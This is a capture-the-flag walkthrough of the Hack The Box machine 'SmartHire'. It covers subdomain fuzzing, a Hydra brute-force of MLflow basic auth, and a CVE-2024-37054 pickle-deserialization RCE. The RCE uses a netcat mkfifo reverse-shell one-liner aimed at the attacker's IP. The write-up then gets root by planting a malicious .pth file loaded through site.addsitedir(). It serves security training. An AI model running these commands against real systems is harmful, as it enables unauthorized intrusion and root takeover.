HTB-SmartHire

Pasted image 20260525010131.png700

OS: Linux | Difficulty: Medium


Overview

SmartHire is a medium-difficulty Linux machine centered around an AI-powered hiring platform. The attack chain involves subdomain enumeration, credential brute-forcing against a protected MLflow instance, exploiting a deserialization vulnerability (CVE-2024-37054) for initial access, and abusing Python's site.addsitedir() path processing behavior for privilege escalation to root.


Initial Enumeration

Starting with a standard Nmap scan:

nmap -Pn -sC 10.129.26.202

Open ports:

Screenshot 2026-05-17 004336.png700

Add the hostname to /etc/hosts:

echo "10.129.26.202 smarthire.htb" >> /etc/hosts

Visiting the site reveals a modern hiring intelligence platform with sign-in and registration options. After creating an account and logging in, two features are available:

Screenshot 2026-05-19 003645.png700

Initial attempts to exploit the file upload (content-type manipulation, command injection via filenames) yielded no results.


Subdomain Enumeration

Virtual host fuzzing with ffuf:

ffuf -u http://10.129.26.211/ \
  -H "Host: FUZZ.smarthire.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -fs 178 \
  -v

Screenshot 2026-05-17 123558.png700

A subdomain models is discovered with a 401 response. Add it to /etc/hosts:

echo "10.129.26.202 models.smarthire.htb" >> /etc/hosts

Visiting http://models.smarthire.htb presents an HTTP Basic Authentication prompt.

Screenshot 2026-05-17 115307 1.png700


Credential Brute-Force

Using Hydra against the protected endpoint:

hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  -s 80 models.smarthire.htb http-get \
  "/ajax-api/2.0/mlflow/registered-models/list" \
  -t 10 -f

Screenshot 2026-05-17 122841.png700

Valid credentials are found: admin:password


Exploiting MLflow — CVE-2024-37054

Behind the authentication lies an MLflow instance running version 2.14.1. This version is vulnerable to CVE-2024-37054, a remote code execution vulnerability via unsafe deserialization of model artifacts.

Screenshot 2026-05-17 124247 1.png700

Reference: https://github.com/NiteeshPujari/CVE-2024-37054-MLflow-RCE

The exploit works by registering a malicious MLflow model containing a pickled payload. When the server loads the model for prediction, the payload executes.

Important: The exploit script must use the same MLflow version as the server. Install it in a virtual environment:

pip install mlflow==2.14.1

Verify the server's environment by checking the conda.yaml artifact:

curl -s "http://models.smarthire.htb/model-versions/get-artifact?path=conda.yaml&name=HTB-3deb8914a377-model&version=1" \
  -u "admin:password"

Screenshot 2026-05-17 124419.png700

Modify the exploit's log_malicious_model.py to point to your listener:

Screenshot 2026-05-17 134024.png700

cmd = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP YOUR_PORT >/tmp/f'

Set up a listener and execute the exploit:

nc -lvnp 4444
python3 log_malicious_model.py

Screenshot 2026-05-17 134215.png700

we have to trigger the reverse shell using curl :

curl -s -X POST http://smarthire.htb/predict \ -b /tmp/htb.txt \ -F "file=@/tmp/resume.csv"

User Flag

python3 -c 'import pty; pty.spawn("/bin/bash")'
cd /home/svcweb
cat user.txt

Screenshot 2026-05-17 134432.png700


Privilege Escalation

Checking sudo permissions:

sudo -l

The user svcweb can run the following as root without a password:

(root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *

Screenshot 2026-05-17 134707 1.png700

Inspecting the script reveals it calls site.addsitedir() on the plugins/dev/ directory. This is exploitable because Python's site.addsitedir() automatically processes any .pth files it finds — and any line beginning with import inside a .pth file is executed immediately during Python's startup phase, before main() is ever reached.

Create a malicious .pth payload in the writable plugins/dev/ directory:

echo "import os; os.system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash')" \
  > /opt/tools/mlflow_ctl/plugins/dev/exploit.pth

Trigger it by running the script with sudo:

sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status

The .pth file executes during site.addsitedir() processing, creating a SUID copy of bash.


Root Flag

/tmp/rootbash -p
cd /root
cat root.txt

Screenshot 2026-05-17 140434.png700


Summary

Stage Technique
Reconnaissance Nmap, virtual host fuzzing with ffuf
Initial Access Hydra brute-force + CVE-2024-37054 MLflow RCE
Foothold Pickle deserialization reverse shell
Privilege Escalation Python site.addsitedir() .pth injection

Return to Home